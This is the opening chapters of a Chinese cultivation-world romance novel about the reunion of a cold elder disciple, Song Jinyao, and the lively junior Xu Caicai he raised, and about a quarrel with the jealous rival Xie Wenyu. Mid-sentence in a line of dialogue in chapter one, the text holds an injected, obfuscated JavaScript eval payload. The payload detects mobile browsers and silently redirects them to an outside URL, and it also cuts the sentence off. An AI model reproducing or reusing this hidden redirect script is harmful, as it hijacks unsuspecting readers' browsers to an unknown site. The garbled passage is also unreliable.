《和师兄的恋爱日常》 1. 一 三个月前,宋尽遥受掌门嘱托,带领内门弟子下山处理事务,一直到今日才回来。 在许采采的记忆中,这还是他第一次与师兄分离这么久。 教导剑法的长老十分严格,即使完成了课业也不许早退半点,许采采捱到课时结束,又挨个与自己的同门好友道别,才急匆匆跑出试炼场。 作为修真界第一大宗,长清宗依巨型灵脉而建,坐落于云雾缭绕的仙山之中。 远远望去,灵气充沛的群峰中,翠绿树影与高殿栈道交错相映,几只赤金鸾鸟盘旋于宫殿之间,又隐入峰峦,所经之处延出大片五彩祥云。 祥云之下,一道轻快的青绿身影跑过长长的大道,又跃上连绵的玉石阶梯,到了宗门大殿外,周遭变得格外肃静,许采采就不再跑了,改为放轻脚步地走。 一行人回宗要做的第一件事便是面见掌门。 宋尽遥已经先被掌门叫进去汇报此次下山的主要事务,其他随行的几名内门弟子则规规矩矩站在殿门一侧,等候被掌门问话。 他们见了许采采,顿时一改目视前方一言不发的严肃模样,嬉皮笑脸地低声逗人。 “采采来啦。” “采采又来接大师兄啊。” “我们刚才还在打赌,看看是大师兄先出来还是你这个小尾巴先到,看来是我赢了。” 许采采平时活泼好动,一路跑来也丝毫不显累。 少年呼吸平稳,只脸庞因为受晌午日光的照耀而稍稍泛红,一双眼眸乌黑明亮。 他今天心情太好,被打趣了也丝毫不恼,眉眼带笑一一喊师兄打招呼。 这几位内门弟子拜入宗门有不少年头了,早在许采采五岁那年被带来长清宗,他们就开始陪着许采采玩闹,可以说是看着许采采长大的。 如此亲近的关系,自然没必要多见外。 于是许采采问候完,就自觉钻到几位师兄身后,借着他们的身影遮挡,把脑袋凑到大殿的门缝处。 他的修为已经筑基,凝神聚力后五感变得敏锐,只通过细窄的门缝也能远远看清里头的场景。 许采采不必寻找,第一眼就注意到了那道背对着他的熟悉身影。 仍旧是那身一成不变、一尘不染的素白衣袍。 掌门师叔一贯的爱操心又啰嗦,这会儿正滔滔不绝说个不停,而他的亲师兄宋尽遥则是出了名的惜字如金。 许采采等半晌也没见他师兄开一次口,或是转一下身,最后只能把视线在师兄挺拔的腰身上多绕几圈,确定人完好无损,就没再扒门缝了。 约莫又过去一盏茶的功夫,宋尽遥才从大殿里出来。 许采采这时已经被诸位师兄围在中间,勾肩搭背聊得火热。 这次下山时间久,几位师兄都没空着手回来,也给许采采捎了不少途中遇见的稀罕玩意,大多是有趣的法器灵植或特色吃食。 许采采一边忙着连声道谢,一边乐呵呵地收礼物,储物袋都要装不下了。 宋尽遥从大殿内出来时,看见的便是这副场景。 不过,在他的身影出现的下一瞬,一圈人就被吓得齐齐打个激灵,继而迅如闪电收起笑闹模样,笔直站好了。 许采采也站得乖乖的,就是脸上美滋滋的神情没收,还抬起一双发亮的眼直直望向他师兄,里头满是激动以及许久未见的思念。 宋尽遥与人对视一眼,淡声开口:“掌门唤你们进去。” 在宋尽遥面前,几位内门弟子一个比一个严肃守礼,很快低头行礼应下。 宋尽遥便不再逗留,示意许采采可以一同离开了。 等他们二人已走出十步远,后面的几个内门弟子才敢抬起脑袋,去看两人远去的身影。 大师兄仍旧是那副冷若冰霜的模样,只一个背影仿佛都在往外冒阵阵寒气,而许采采则像一只欢快的小雀一般,丝毫不介意对方的冷淡,只在大师兄身旁凑来凑去,热热闹闹说个不停。 整个长清宗上下没人不知道许采采是由宋尽遥亲手带大的。 但每当他们看见两人并行的画面时,还是会忍不住感慨,许采采没被大师兄这座冰山养成一座小冰山,真的是一件非常神奇的事。 不仅如此,他们还十分佩服许采采。 这次跟随大师兄下山整整三个月之久,在修为与经验上的确收获颇多,但在心态上简直是一场堪称残酷的历练。 无他,只因大师兄实在是太高冷了。 万年不变的冰冷神情永远让人无法揣测喜怒,平时除了交代任务与注意事项外,更是从不与他们多说一个字,甚至连眼神交流都很少。 使用眼神交流最多的时候,大概就是每次他们办事不力时,大师兄会一边无波无动瞥他们一眼,一边一言不发去替他们收拾烂摊子。 每每想到那个目光与背影,他们都会在心中惭愧地呜呜哭泣,深觉自己简直是废物。 大师兄冷淡而严厉,他们只跟随三个月就受不了了,而许采采自幼与大师兄同吃同住,长达十几年!最终却还能成长得如此活泼可爱。 怎么不令人叹服呢。 …… 那头一行内门弟子进了大殿接受掌门问询,许采采这边则已经由自己师兄带着,御剑回到住处。 微明峰乃是长清宗后山位置最远,峰顶最高的一座主峰,平日结界森严,闲人不得擅闯。 峰主为当今掌门的师兄,大乘仙尊江执道。 据闻当今修真界仅有三位大乘修士,其余两位早已销声匿迹,执道仙尊已是世人唯一知晓行踪的了。 而长清宗在三界的地位之所以能如此稳固,除了掌门与各长老励精图治外,则更是因为有执道仙尊坐镇。 不过,江执道修为太过高深莫测,现如今只要不是天下出什么大乱子,便不会再轻易现身了,而是长年于微明峰密室中闭关。 所以常住在微明峰庭院中的,就只有执道仙尊的两个亲传弟子,宋尽遥和许采采了。 微明峰上灵气充盈,一草一木皆由许采采与宋尽遥亲手布置,四季如春,舒适宜人。 走过铺在繁盛绿植中间的石道,踏过跨在潺潺浅溪上的一座小桥,再转个弯,眼前视野陡然开阔,便是师兄弟二人日常居住的庭院。 许采采一路上嘴都没停,一直在跟宋尽遥讲对方在这三个月里错过的宗门趣事。 宋尽遥一边替他注意脚下,一边沉默不言地听着,只从神情,看不出他对这些琐碎小事是否感兴趣。 等到了屋里,宋尽遥佩剑未摘,先走到桌边倒一杯温茶。 许采采看见水才察觉到渴,乐呵呵地凑过去就着他师兄的手喝了,嗓子这才得以休息片刻,也终于让宋尽遥有了说话的机会。 年轻修士身形修长挺拔,气质冷冽,像出鞘的剑刃,此刻正抬着手臂给人喂水。 等许采采喝得差不多了,宋尽遥的视线便从许采采饮水的唇向下移,落在少年腰间。 一双颜色明显比常人浅淡的灰瞳像被封在冰面之下,叫人看不出任何情绪。 宋尽遥只开口问:“采采,腰带怎么回事。” 许采采顺着往下一看,这才注意到自己不知道系错谁的腰带了。 在供内门弟子修习术法的试炼场中,一般都设有区域宽阔的灵泉。 泉水常年温热,不仅可以洗去疲乏,还有疏通经络,疗愈伤口的作用,所以每次术法课结束后,弟子们都会褪去外袍,跳进去浸泡玩闹一番。 许采采也爱去和大家一起玩。 来找宋尽遥之前,他刚在灵泉里跟人玩了一场打水仗,腰带应该就是他在匆忙上岸穿衣时,不慎与哪位玩闹的同伴拿错了。 长清宗的规定向来宽仁,平时穿的弟子服不仅会统一发放,也允许弟子们自己私下制作,只需要符合宗门发布的关于款式与颜色的要求即可。 许采采的弟子服就是宋尽遥用稀有布料亲自制作的,比统一发放的舒适许多倍,还有储存灵气滋养身体的作用,但在外观上则需要仔细观察才能看出差别。 许采采一边不甚在意地解释着,一边好奇他师兄究竟是如何一眼发现不同之处的。 在他解释期间,宋尽遥已经走到衣柜处取出一条新的腰带,并回到许采采面前弯下腰。 听到许采采又和一堆人泡在同一个灵泉里胡闹时,宋尽遥给人解腰带的动作忽的停住,抬眼看向许采采。 如果是别人,看见他这幅神情冷硬,像是随时要动怒的模样,定然会被吓得不轻。 但许采采丝毫不怕,一边抬着手臂方便师兄给他换腰带,一边装傻问:“师兄瞪我做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251377|166399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 宋尽遥眸色不变,沉默几息,又垂下眼。 等给人换好了腰带,顺带将那条属于他人的腰带随手撇向别处,宋尽遥才站直身,再度开口。 “微明峰上也有灵泉,为什么偏要与人共用?” “……” 许采采就知道又是这句。 他了解他师兄的性子,总是十分严厉,恪守规矩与礼教。 是,试炼场的灵泉是人多杂乱,只穿单衣泡在泉中与人玩闹更是不够稳重,有失规矩,远不比在微明峰上清净又得体。 但许采采十七八岁,正是玩心重的时候,他就是喜欢凑热闹。 而且大家都在玩水泡水,连那么严格的剑法长老都不会说什么,偏偏到他师兄这里就不让了。 于是许采采一边与宋尽遥冰冷的双眸对视着,一边撇嘴开口。 “当然是为了师兄。” 话落,宋尽遥神情稍愣,眼中显露出几分不明显的困惑来。 许采采看得清楚,直勾勾地望着人继续道:“我上了一上午的剑法课,练得浑身都是汗,想到师兄好不容易回来,当然就想把自己洗香了再去见你,所以才会特意泡灵泉。” “……” 只几句话的功夫,宋尽遥眼中的冷霜早已化开,微皱的眉头也得以舒展。 许采采却犹嫌不够,别开脸继续哼了哼道:“我今天练剑的时候还不小心被剑气划伤了,每天日思夜想,好不容易盼到你回家,你却只知道凶我,根本不关心我。” 许采采语气委屈得很。 早在他说到被剑气划伤时,宋尽遥的神情便已经变了。 他上前一步,三指合并按上许采采的手腕,迅速而熟练地用灵识在许采采体内探测了一遍。 没探到伤处,才复又皱起眉问:“伤在哪里?” 许采采这可没撒谎。 他俯身撩起裤脚至膝盖处,把自己的一截小腿露出来。 少年自小喜爱跑闹,又勤于修炼,所以身材瘦韧有力,细直的小腿上肌肉线条流畅而漂亮。 宋尽遥蹲下身去查看。 在膝盖下方,光洁的肌肤上的确有一道食指长短的浅红划痕。 但修习剑法时的剑气只是做做样子,有剑法长老亲自把握分寸,不会有多厉害,再加上许采采自身的痊愈能力以及灵泉的浸泡,那道剑痕便更加不明显了。 如若许采采晚说半个时辰,那处定会愈合得疤都不剩。 不过宋尽遥似乎并不觉得许采采小题大做,神情依旧凝重。 把许采采从小养到大,他向来是见不得对方受一点伤的。 他半蹲在许采采身前,有力的长指握在少年膝后,指腹带着灵力在红痕处细细抚过,确定伤痕消失得一干二净,才给人将裤腿整理好,重新站起身来。 “下次有伤要第一时间告诉我。”宋尽遥道。 许采采闻言连连点头,知道腰带的事被自己揭过去了,忙笑着凑上前抱住对方:“师兄真好。” 宋尽遥身形高大,许采采却尚未长成,所以他需要踮踮脚,才能把脸蛋完全搁在他师兄的肩膀上。 也因为这个动作,使两人的身体贴得更近了。 宋尽遥这人脾气很怪,有些叫人难以捉摸。 在外面总是严格又固执,不让许采采做任何不合规矩,不够端庄的事。 但到了私底下,只有两人单独相处的时候,宋尽遥却又能任由许采采胡乱施为,极少管束教训。 许采采抱着立在原地一动不动的宋尽遥,做着他从小到大都喜欢的动作,小兽般把脸颊在他师兄的颈侧使劲儿蹭蹭。 两人直到这时,才总算显现出几分久别重逢的亲昵来。 蹭完,许采采满足地抬起头,眼眸晶亮。 “师兄,你也给我讲讲你这三个月发生的事吧,你有没有受伤,遇到了什么险境或奇遇,都讲给我听好不好?” 宋尽遥垂下眼皮看他,给他整理蹭乱的几缕发丝,慢吞吞整理完了,才面无表情地开口。 “好,”他抬眼直直地看着许采采,语气冷硬道,“但你要先答应我,以后别再用错别人的东西。” “……” “知道了知道了。”许采采心里只想着听故事,语气明显敷衍地答应。 2. 二 宋尽遥一向话少,讲述事情也是言简意赅,无论某件事的情况有多惊险紧迫,经他的口说出来也都变成了再简单不过的几句话。 许采采当然不依,每每讲述到他所认为的险情时,就会缠着宋尽遥盘问许多细节,等许采采总算满意,彻底放下心的时候,天色早已暗下。 宋尽遥这才得以抽身,前去密室拜见师尊江执道。 江执道不仅是长清宗的主要创立人,年轻时更是数次带领修真界众修士击退魔族,稳固修真界边境,名号如雷贯耳。 时至今日,世人提到执道仙尊仍无一不心存敬畏,不敢有丝毫冒犯。 来到十分不起眼的密室石门外,宋尽遥身形挺拔如竹,恭敬行礼。 门上的阵法感知到他的气息,自动收敛,石门缓缓打开,面前的场景也豁然开朗。 外界已是黑夜,密室内却亮如白昼。 白玉宫殿冷清空旷。宋尽遥刚一踏入,便觉充盈的灵气环绕周身,没有来自大乘修士的威压,只有肉身脉络颇受滋养的舒适,仿佛在欢迎他的到来。 行至殿内,仙人已在窗边安坐等候。 江执道的外貌停留在凡人三四十岁的模样,身形清瘦,须发半白。 瞧见宋尽遥进来,他招手示意徒弟坐到对面,顺带抬手将一杯茶给人推过去。 宋尽遥对自家师尊并不须太过见外,坐下问候之后,垂眸饮了口茶,然后便听江执道温声询问:“此次下山,可有遇上什么棘手的事?” “回师尊,并没有。”宋尽遥毫不停顿地答。 江执道早料到他徒弟就是这几个字,温和的神情未变,只是稍显无奈地笑了。 他对外宣称闭关,非极为紧急的情况外不会见任何外界的人,在外人看来十分神秘莫测。 但对许采采与宋尽遥这两个亲传弟子,却绝非如此。 在为人师这方面,江执道一直还算尽责。 对仅有的两个徒弟,江执道除了给予修行上的传授与指点外,还会硬性要求自己的大徒弟在每次离宗完成任务归来后,前来见他一次。 叫他解惑,或是帮助疗伤、梳理经络,或只是两人面对面坐下,探讨一番最近的感悟,都可。 对于年纪小许多的许采采,江执道则会不厌其烦地提醒对方,在宋尽遥不在身边时,遇到任何困难其实都还可以找他这个师尊。 不过事实却是,每次例行见面,他的大徒弟都是问三句也换不出来一句有用的,话少得可怜。 而小徒弟那边,许采采则早已习惯有事就找宋尽遥,遇事时宁愿用传音符去联系远在千里之外的师兄,也记不起来找他。 徒弟让他省心是徒弟懂事。 江执道却不会因此略去他该做的。 宋尽遥作为长清宗众弟子中修为最高的大师兄,每次下山的任务都不会轻松,期间也不可能当真毫发无损。 所以即使宋尽遥那么答,江执道仍会按例为徒弟检查一番经脉与识海。 江执道大乘修为,有洞若观火的本领,早在看见宋尽遥第一眼便已将徒弟的经脉运行情况收入眼底。 并无异常,甚至经过三个月的磨练,又精益不少。 至于识海,则需要修士主动敞开,才能为外人探查。 识海囊括了一个修士内心最隐秘的一切事物,大部分修士到死都不愿叫他人探看。 然而宋尽遥端坐在原处,面色平静,神情坦然,敞开识海任人检查。 检查识海,主要是看修士有无被外界邪物侵蚀心神,以防在今后的修炼中心念错乱,走火入魔。 宋尽遥心无杂念,信任师尊,江执道更不会窥探徒弟私隐。 只看识海平静无波,澄澈如常,便可放心了。 不过,在打算收敛神识之际,江执道忽的察觉出一处极不明显的异动。 他眉头稍皱,只见自己徒弟总是比镜面还稳固的识海上,不知何时生长出了一尾如海上小帆般渺小却明亮的触角。 竟是情根。 且那株情根看似微弱,但江执道见微知著,只需多看两眼,便能发现其莹润的光芒早已顺着深扎的根系四处蔓延,几乎侵占整个识海。 江执道不由心中惊奇。 难不成此次出宗的三个月里,他冷若冰霜的大徒弟竟已对哪位姑娘情根深种? 并不是不提倡情爱,毕竟徒弟修的又不是无情道。 只是这种情况出现在性情孤僻的宋尽遥身上,就变得十分异乎寻常了。 江执道作为师尊,是宋尽遥身边极少的亲近人之一。 他初次遇见宋尽遥,并收对方为徒那年,宋尽遥已经年过二十。 年轻人因为天生患有眼盲症,为父母所忽略而自幼离群索居,所以早早便形成了如今这样冷淡寡言、固执独行的个性。 宋尽遥天分奇佳,踏入修行之路全靠自身摸索,在遇见江执道之前便已经感悟至筑基,并可借用灵力视物,弥补先天不足。 之后在江执道的指点下,宋尽遥很快突破金丹,彻底治愈双眼,留下一双浅灰色的、病状的双瞳。 不过,肉身上的缺陷可以修正,已成定局的秉性却再也无法更改。 至少,从宋尽遥拜师至今已过去将近百年,除了对其亲自抚养长大的许采采有特殊态度外,江执道并未见宋尽遥的独狼特性有丝毫改变。 这才是江执道看见宋尽遥情根异动而诧异的原因。 不过江执道一向遵循自然,在教授徒弟方面只合理建议,从不干扰徒弟个人脾性与处事风格。 所以即使深感惊讶,他面上并没有展露分毫,只是有条不紊地结束了检查。 “识海一切都好,还隐有突破的征兆。”江执道说着,指尖灵力闪过,掌心中凭空多出几本书来。 他递给宋尽遥:“这几本心法可有所助益。” “多谢师尊。”宋尽遥双手接过。 又见江执道轻抿茶水,语气不变地关切问:“离宗这三个月里,可曾遇上什么印象深刻的人物?” 宋尽遥垂眼把心法收入袖中,仍端坐着,闻言抬眸与江执道对视。 师尊的问询一定自有道理,所以他不会敷衍,很快在脑海中仔细回忆起来。 但可惜,自从许采采来到微明峰后,他因为要照顾年幼的师弟,次次下山的时间都不会超过一个月。 这次是许采采年满十七,已经长大,他才会第一次离开对方整整三个月。 许采采会思念师兄,宋尽遥也是十分不适应。 他途中只顾着惦念许采采了,只想早日完成任务早日回宗,哪还有心思对某个过客印象深刻。 所以沉默片刻后,宋尽遥摇一下头,神情冷淡地答:“回师尊,不曾。” 江执道只微微挑眉,对这个回答并不意外。 那情根的触角如初春嫩芽般微小,应是连他徒弟自己都尚未察觉的情动。 不需干涉的,江执道不会有半句多言,他只是随和地点头,让徒弟带着心法离开了。 …… 密室外圆月高悬,宋尽遥回到庭院内室时,许采采早已经睡熟了。 少年睡相不差,很自觉地只占了床榻靠里的一半,他侧卧着半趴在床褥里,怀中抱着的是宋尽遥的本命剑。 本命剑作为一个修士亲自锻造的本命法宝,与修士的命脉心神相系。 简单来说,就像是从修士身体上延伸出的一部分。 它只随其主人的意念而动,具有主人身上特有的灵气与气息,同时喜主人之所喜,恶主人之所恶。 而在另一方面,剑主人也会感受到一切剑体所感受的。 许采采小时候刚到微明峰时,曾有很长一段时间几乎离不开宋尽遥。 所以那时,每当宋尽遥有紧急的事务,或是需要进行危险的训练而无法带着一个五岁小孩时,都会将本命剑留下来哄孩子。 剑身上满是他的味道,不仅可以安抚年幼的许采采的情绪,陪许采采睡觉玩耍,还能在危急关头护许采采周全,十分好用。 只不过,一旦宋尽遥忙完回来,发现许采采仍旧只是抱着剑玩,而不再黏他时,本命剑就会变得没那么有用了。 反而碍事起来。 这种奇怪的现象一直持续到现在。 在床榻外静站片刻后,宋尽遥捏决换好衣物,无声无息在榻边坐下。 他浸了冷霜一样的视线停留在许采采被剑柄硌出浅浅凹陷的脸颊上。 这把剑就像是他的肢体,他能感受到师弟脸庞的柔软触感,也能感受到师弟将剑体紧紧揽在臂弯的力道。 即使如此,宋尽遥却仍心生不快。 他冰冷的神情不变,只眉间缓缓皱起,沉默几息,抬手将自己的本命剑从许采采怀中缓缓抽出来。 这动作自然扰到了睡得正香的许采采。 伴随着软被的摩擦声,少年动了动脑袋,勉力睁开惺忪的睡眼。 认出跟前的人是宋尽遥时,许采采抱着剑的双手便十分自然地松开了。 他困得不清醒,就着侧躺的姿势往前挪动,探出胳膊改为抱住宋尽遥撑在榻边的手臂,口中咕哝了一句“师兄”。 宋尽遥眉间的褶皱因此消失。 他一边顺势将本命剑收好,一边低低应了一声。 应完便熄灭屋内的夜明灯,借着黏人师弟抱他的力道也在榻边躺下。 只要没有特殊情况,师兄弟二人一直都是同榻而眠的。 日思夜想了三个月的熟悉身形就躺在身旁,许采采心中更加熨帖,闭着眼睛颇为熟练地黏上去。 他把脸颊搁在宋尽遥宽阔的肩膀上,又像刚才抱本命剑那般抱住他师兄温暖有力的胳膊。 师兄显然比硬邦邦的剑要好抱多了,他的腿还能搭上师兄的腰腹。 搭完,许采采静等了片刻,见宋尽遥迟迟没动静,就重新抬起一张满含睡意的脸,眼眸透过浓密的眼睫颇为茫然地望过去。 “……” 宋尽遥便垂下眼,也侧过身,空着的那只手臂熟练地将他揽入怀中。 许采采这回满意了,美滋滋地埋头睡去。 …… 像许采采这样年纪尚轻,修为尚浅的弟子,即使已经拜过师,日常有师父和师兄指点,平日里仍是需要和众多内门弟子一起学习各种基础功课的。 因为第二天辰时有功法晨练,所以天刚破晓时,许采采便起床了。 他从小就精力足,也没有赖床的习惯,这一觉又因为有师兄陪着,睡得就更加香甜,醒来也是神清气爽。 宋尽遥早已穿戴整齐,让许采采赤脚站在榻边的软毯上,他一件件给人穿好衣物,系上腰带,整理衣领。 一丝不苟地穿完衣服,宋尽遥又叫人坐下来,手里拿着不知从哪里取出来的与许采采今日衣物配套的发簪,熟练又自然地给人束发。 宋尽遥眼眸低垂,一贯冷淡的脸庞上看不出任何情绪,只动作是耐心又细致的。 这期间许采采就盯着他师兄腰间的玉扣发呆。 宋尽遥不在家时,这些琐事当然都是许采采自己来。 但只要宋尽遥在,就都是宋尽遥做,许采采没有插手的机会。 一切收拾妥当,师兄弟二人一人准时去试炼场晨练,一人留在微明峰参悟心法。 晨练的内容一般都是将同等进度的弟子集合起来,共同练习此前学过的基础招式,虽然简单枯燥,但却是强身健体,磨练心性的好选择。 因为不需要学习新招式,所以没有特定的长老来教导,最多安排几个修为高的内门弟子来回巡逻监督,起到指点错处、维持纪律的作用。 谢问玉作为长清宗掌门亲传大弟子,身份与修为都十分突出,自然就成了当这份差的次数最多的人选。 不过,由于他行事傲慢,每每都是嘲讽多指教少,所以并不受众弟子们的欢迎。 约莫到了巳时,晨练即将结束时,谢问玉才穿一身亮蓝锦袍,手持长扇,身后跟着几个内门弟子晃晃悠悠地出现。 他相貌中等,只是因为出身修仙世家,家底雄厚,身上自有一种富家子弟的贵气。 谢问玉姿态散漫,穿插在晨练队伍中,用扇柄随意指出几个动作不合格的弟子,顺带说一些“连这个都做不好不如上后山挖野菜去”之类的讥讽话,就算是监督结束了。 恰是这个时候,天边忽的传来异动。 只见群峰中玄鸟四起,赤翎翻飞如彩色锦带,齐齐朝着微明峰的方向汇聚。 而微明峰峰顶不知何时竟聚集了大片祥云,随着一阵强烈的灵气波动,堪比日光耀眼的银白灵瀑忽的冲破云层,四散开来,亮得众人一时睁不开眼。 众弟子当即忘了晨练,连忙跑到高处仔细看,许采采当然也是其中一个。 亮光散去后,微明峰峰顶仍有阵阵纯粹而凌冽的灵气携着威压往外溢出,五彩祥云久久不散,这是元婴及以上修士突破小重境界时才会有的景象。 微明峰上现此吉兆,突破的是哪位人物不言而喻。 众弟子早就知道宋尽遥宋师兄的优秀,对此颇有些见怪不怪,只是像看烟花一样聚在一起叽叽喳喳地讨论祥云和灵气,许采采则是高兴得眼睛都亮了。 此时谢问玉的声音便显得分外突兀:“这怎么可能?姓宋的昨天刚下山回来,今天就又突破了?” 他神情不悦,眉头紧锁,瞥向跟在他身后的几个人:“你们一堆人都去了,却只有他一个人突破,是不是他仗着师兄身份,在途中私吞了什么秘宝?” 被安排跟在他身后的几名内门弟子里,的确有两名恰好是昨天刚跟随宋尽遥回宗的。 两人闻言连忙后退一步,拱 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但他成为掌门亲传大弟子的同一年,一直行踪不定的执道仙尊忽然云游归来,带回了其唯一的亲传弟子宋尽遥。 一个来历不明,脾性古怪,穿一身粗糙素衣的土包子。 尤其一双灰白又锋利的眼,简直像一头没被驯服的野狼。 谢问玉对其嗤之以鼻,认为对方纯属走运,或是使了心计,才能被执道仙尊看上。 但接下来的弟子大比上,宋尽遥只用七招便打败轻敌的谢问玉,夺走了他蝉联数届的宗门第一。 从此,只要有宋尽遥在,谢问玉就永远是第二名。 在这之后,又因为掌门看得出谢问玉性情浮躁,总是意气用事,所以更加愿意将重要的宗门事务托付给话少但行事稳重的宋尽遥。 对谢问玉,掌门更多的是啰啰嗦嗦地反复叮嘱对方,要跟在宋尽遥身边多多学习,磨练心性,积累经验。 谢问玉心高气傲,本就不服宋尽遥,哪可能心甘情愿向对方学习。 长此以往,只会积累不忿罢了。 别以为他不知道,跟前这些弟子们当着他的面称呼宋尽遥为宋师兄,称呼他为谢师兄,像是两碗水端得极平。 但其实背地里,他们都愿意很敬重地称宋尽遥一声大师兄,那语气好像多亲切似的! 谢问玉越想越气,一股气闷在胸腔,憋得他脸色铁青。 他瞥着那两个仍旧弯腰拱手的弟子,咬着牙道:“宋尽遥每天一边讨好我师尊,让我师尊把能立功的好事都给他干,一边又深受执道仙尊偏爱。可见他不过是表面装得高傲,实际不知道多么长袖善舞,左右逢源。 “他不知私练了多少术法,又在暗地里堆了多少灵丹妙药,才能处处压咱们一头,你们却反倒替他说话呢。” 谢问玉的声音不大不小,但因为在场的内门弟子们大多都已筑基,所以能听得一清二楚。 许采采自然也都听到了。 他甚至在生气之余,都有些麻木。 因为谢问玉经常这样。 因为嫉妒他师兄,于是就这样当众辱骂,许采采只要听到了,就一次都忍不了。 而且次数多了,许采采甚至都已经掌握了屡试不爽的必杀技巧。 “谢师兄说我师兄背地里偷吃灵丹妙药,但不同境界用不同丹药,就算真的把元婴修士的丹药给谢师兄,您也用不了啊。” 许采采一开口,周围本就战战兢兢的弟子们更是默契地往四周让开一个圈,让他直接跟谢问玉面对面。 谢问玉扭过脸瞪向许采采,也是一副就知道对方会替宋尽遥出头的表情。 许采采说的话是他的另一痛点,原本他与宋尽遥的修为境界相同,同处金丹。 但在十年前,宋尽遥便毫无征兆地顺利渡劫,突破到了元婴。 对修士而言,从金丹到元婴是一次跨越天堑的突破。 难度极高,突破后的境界相对前期而言也是一次超凡的飞跃。 长清宗对此就有规定,凡是元婴及以上的弟子,不必再参加宗门的任何弟子大比。 这也意味着,谢问玉不服的时候,连跟宋尽遥比试,夺回第一名的机会都没有了。 谢问玉此刻绷着脸,隐忍怒气的模样颇有几分压迫感,吓得周围众弟子十分无措。 许采采分毫不让地站在原地,脸庞微扬继续道:“记得我师兄尚在金丹期时,谢师兄为了能在弟子大比上赢得我师兄,不惜暗自花重金买来能令修为在短时内猛涨的丹药,谁知服用后,却因为自身无法承受而一夜秃了顶。 “谢师兄当年连着三年都不敢摘帽子示人,不会这么快就忘记教训了吧?” 果然此事一提,谢问玉铁青的脸瞬间转为恼怒的红。 他气得手都抖了,咬牙切齿地问:“许采采,你是宋尽遥养的小狗吗,我说他一句你顶我十句?” 许采采抱起手臂,并没有感觉被攻击到。 “我是不是小狗不知道,但大家都知道你秃顶!” 谢问玉气得抓狂,这次声音也抖了。 他怒吼出声:“许采采!你信不信我揍你!” …… 今日晨练期间,在试炼场发生争执的事并没有传得太远。 一是因为有反应快的弟子及时跑去报告,戒律司那位不怒自威、板着脸能直接把新弟子吓哭的长老很快就赶来了,没有让矛盾进一步发展。 二是因为宗门里年轻弟子太多,大家都年轻气盛,几乎每日都会发生大大小小的摩擦,整个宗门上下早就习以为常了。 宋尽遥突破一场,需要打坐静息来稍作适应。 等他将体内澎湃的灵力整理归纳完毕,走出暗室,便恰好是烈日当空,该去接许采采放学的时候。 他刚从微明峰出来,便在山下结界外看见了前来通报的戒律司杂役弟子。 对方因为无法进入微明峰,传讯又没收到回复,所以只能在一旁的阴凉处慢慢等候。 看见宋尽遥出来,杂役弟子便很快上前,告知了对方许采采与人发生争执,现在正被关在戒律司受罚思过的消息。 宋尽遥闻言神情似乎没有变化,但开口时声音却变得极为冷硬。 “可有打架?”他呼吸稍有不稳地问。 他知道许采采嘴上不会吃亏。 但若是打起架来,自己不在身边,采采可能会打不过。 虽然知道不是冲自己的,但杂役弟子还是被这语气吓得腿都跟着一软,他闻言赶紧摇头。 “回大师兄,并没有。当时周遭人多,大家及时将两人分开了。” 宋尽遥显然松一口气。 他略微颔首,低声道谢:“有劳。” 话落,他便施法瞬移,与杂役弟子一道往戒律司的方向去了。 3. 三 长清宗戒律司不仅赏罚分明,亦通人情。 宗门弟子所犯错误有大有小,戒律司的惩罚措施也是有轻有重。 而犯错情节较轻的弟子在被扣留受罚期间,也是允许他人探望的。不过为避免扰乱纪律,一次只允许一人。 宋尽遥赶到戒律司大堂处时,长老正伏案处理公务。 对方凡人四五十岁的样子,四方脸上布有几道深重的皱纹,浓密的黑胡须遮掩住下巴。 长老身材宽阔,气场端正,只坐在那里,不用做任何表情便已有足够的威慑力。 因其一向公正严明,从不包庇偏私,所以宗门众弟子们对戒律司长老有畏惧,更有敬重。 宋尽遥远远走近,腰身挺拔,礼数周到,躬身行礼。 长老抬头瞥见是他,当即皱眉,一副看见熟面孔时习惯又嫌弃的模样。 其实许采采在小时候,刚到长清宗那时,性格全然不是现在这般。 许采采那时是十分乖顺,甚至有些胆小怕生的。 但后来在宋尽遥手里慢慢长大,不知道怎么回事,也不知道从什么时候起,许采采变得愈发频繁地往戒律司跑。 原本见了人只会胆怯又腼腆地抱着师兄的腿往身后躲的小豆丁,变得活泼好动爱凑热闹不说,还特别不好惹。仿佛吃不得一点亏,听不得一句难听话。 要是事情还牵扯到他师兄,许采采那更是一点就炸,为了维护他师兄一句,简直天不怕地不怕的。 也不知道宋尽遥到底怎么教的小孩。 戒律司长老懒得吭声,故作生气般拂袖一挥,指头顺势指了许采采所在静室的方向。 之后便好像没看见宋尽遥似的,继续埋头翻阅公文了。 宋尽遥会意,匆匆行礼便迈大步伐往里去了。 …… 供人思过的单人静室不大,四周墙壁皆由竹木建成,上面挂满了手抄的基础心法与长清宗门规门训。 屋内陈设也极为简单,房屋中央设有一方矮桌,以及两三软垫,另有几个简易的竹木书架靠墙而立。 宋尽遥走进时,许采采正背对着他跪坐在软垫上,只有个瘦韧的青绿背影。 少年腰身由腰带束缚,更显单薄。 他此刻身形稍稍歪着,一边手肘颇为倔强往桌边一撑,顺带支起脸,另一手则在纸面上奋笔疾书。 许采采犯的错是顶撞同门兄长,惩罚内容为抄写门规五十遍。 而谢问玉就在距离许采采不远的另一静室内,他的错误更重。 一为诬蔑同门;二为不友爱师弟;再加上一个先出言挑衅惹事,合并起来共处罚抄写门规一百五十遍。 两人都是抄完才能离开静室。 听到竹门的吱呀声,许采采似乎不用猜就知道来人是谁,立刻坐直身体转过脑袋。 见到果然是他师兄,许采采当即把笔往笔架上一搁,又气又憋屈地撇起嘴来。 气是因为之前与谢问玉吵架生的气还没消。 憋屈则是还计较着谢问玉辱骂他师兄的那些话。 罚抄门规意在使犯错的弟子能够静心反省,意识到同门之间互相礼让和睦相处才是紧要。 不过,只看这模样就知道对许采采没什么用。 一旦是叫他师兄吃亏的事,他当然只会越想越气! 宋尽遥本就来得急切,这会儿看见许采采这幅受了好大委屈的表情,更是眉头一皱。 